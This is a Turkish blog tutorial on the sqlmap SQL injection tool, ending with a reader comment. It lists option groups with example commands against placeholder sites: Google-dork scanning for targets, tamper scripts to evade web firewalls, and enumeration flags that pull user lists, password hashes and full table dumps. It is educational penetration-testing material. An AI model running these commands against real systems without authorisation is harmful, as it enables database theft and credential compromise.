Uygulama Güvenliği

SQLMAP Nedir, Nasıl Kullanılır?

Sqlmap, açık kaynak kodlu sql injection açıkları tespit ve istismar etme aracıdır. Kendisine sağlanan hedef web uygulamasının kullandığı veri tabanı sistemine gönderdiği çeşitli sorgular/komutlar ile sistem üzerindeki sql injection tipini tespit eder. Yine kendisine sağlanan parametrelere göre çeşitli bilgileri hedef veri tabanından alır.

Terminal/Komut Penceresi yani konsol ekranı üzerinden çalışan, SQL Injection açıkları için kullanabileceğiniz verimli ve mantıklı bir kullanıma sahip test (pentest) aracıdır.

 

Komut satırında çalıştığından ve Python ile geliştirildiğinden dolayı birçok işletim sistemi ile uyumlu çalışır. (Linux dağıtımları, Windows, MacOS)

 

Güvenlik açıklarını (zafiyet) bulmasının yanı sıra sızılan kullanıcının hassas bilgilerini düzenleme, görüntüleme, silme gibi fantastik özelliklere de sahiptir. Birçok DBSM(Data-Base Management System- veri tabanı yönetim sistemi) ile uyumludur. Aynı zamanda birçok enjeksiyon tekniğini kullanabilir. Ayrıca sizin verdiğiniz birkaç parametreyle yani kendi içerisindeki yapılandırmaların (konfigürasyonların) kullanılmasıyla zafiyet taraması yaptırabilirsiniz.

 

Kullanım ve Parametreler

 

Sqlmap başlangıç olarak kullanımı oldukça basit ve bir o kadar etkili bir araçtır. Bu tool içinde kullanılan bazı parametreleri örneklerle anlatarak sqlmap’in nasıl çalıştığını anlayalım.

 

SQLmap

 

Options sekmesi

 

  • -h /–help: Basit yardım ve kullanım özelliklerini yazdıran komutumuzdur.
  • -hh: Advanced yardım ve kullanım özelliklerini yazdıran komutumuzdur.
  • -v: Default olarak 1 tanımlı gelen ve sqlmap çalıştığı süre zarfında bize gösterdiği çıktıların gösterimini belirlediğimiz verbose komutumuzdur. 0 ile 6 arasında değişmektedir. 0 en az çıktıyı döndürürken, 6 en çok çıktı ile sonuçları döndürmektedir.

 

Target sekmesi

 

Hedef(ler)in seçimini yapmamız için kullanmamız gereken parametrelerin bulunduğu kategorimizdir. En azından birinin seçilmesi gerekmektedir.

 

  • -u, –url: Veri tabanına direkt erişimimiz yoksa ve injection yolu ile deneme yapmak istiyorsak kullanabileceğimiz komutumuzdur.
    Örnek kullanım:
    sqlmap -u “http://www.websitesi.com/test.php?id=1”
  • -g: Google dork ile belirli bir pattern’e sahip siteler üzerinde testler gerçekleştirmemizi sağlayan komutumuzdur.
    Örnek kullanım:
    sqlmap -g “.php?id=”

 

Injection Sekmesi:

 

Hangi parametrelerin test edileceği, kişisel payload tanımlamaları ve tamper script’leri tanımlamaları gibi ayarlamaları yapabileceğimiz parametrelerin bulunduğu kategorimizdir.

 

  • –dbms: Sqlmap’e yardımcı olmak adına eğer backend’de çalışan database management system’i biliyorsak, dbms ile tanımlayabilmekteyiz.
    Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1″ –dbms=”MySql”
  • –tamper:  Eğer kullanıcı ile back-end database arasında zayıf bir giriş kontrolü varsa injection yapılacak string’leri WAF’tan geçirebilmek amacı ile kullanılan parametremizdir. Önüne alacağı parametre sqlmap klasörü içerisindeki tamper klasörü içerisinden kullanılır.
    Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1″ –tamper=”between”
  • –prefix: Test edilecek parametreleri, payload’ların önüne istediğimiz değeri ekleyerek daha da özelleştirebileceğimiz parametremizdir.
    Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?ad=deneme” –prefix “‘)”

 

SQLmap

 

Enumeration Sekmesi:

 

Veri tabanı yönetim sistemi hakkında bilgilendirme için kullanacağımız parametrelerin bulunduğu kategorimizdir. Tablo içerisindeki verileri çekme, bilgi alma amacıyla kullanılır.

 

  • –all: Bütün parametlerin aynı anda çalıştırıldığı komuttur.
    Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –all
  • –users: Veri tabanı yönetim sistemi kullanıcılarını listelemek için kullanabileceğimiz parametremizdir.
    Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –users
  • –passwords: Eğer geçerli user’ın, sistem tablolarını okuma izni var ise şifreleri hash olarak çekmemize yardımcı olur. Sqlmap bu işlem için önce kullanıcıları çeker. Ardından pass hash’lerini çekmeye çalışır.
    Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –passwords
  • –dbs: Eğer geçerli user’ın, sistem tablolarını okuma izni var ise veri tabanı isimlerini çekebilmemize yarayan parametremizdir.
    Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –dbs
  • –tables: Eğer geçerli user’ın, sistem tablolarını okuma izni var ise seçtiğimiz veri tabanı içerisindeki tüm tabloları çekebilmemize yarayan parametremizdir.
    Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –tables
    sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniadi –tables
  • –columns:  Eğer geçerli user’ın, sistem tablolarını okuma izni var ise seçtiğimiz veri tabanı içerisindeki seçtiğimiz tablodaki tüm kolonları çekmemize yarayan parametremizdir.
    Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” –columns
    sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi –columns
  • –dump: Veri tabanımız ya da tablomuzun içeriğini dump etmek istiyorsak, kullanabileceğimiz parametremizdir.
    Örnek kullanım:
    sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi –dump

Yorumlar

EMRE UZUN
18.12.2021 - 10:30

Merhaba,

Bu yazının devamında SQL Injection'ı da detaylı olarak anlatan alışılmışın dışında bir yazı bekliyoruz.

Eline sağlık.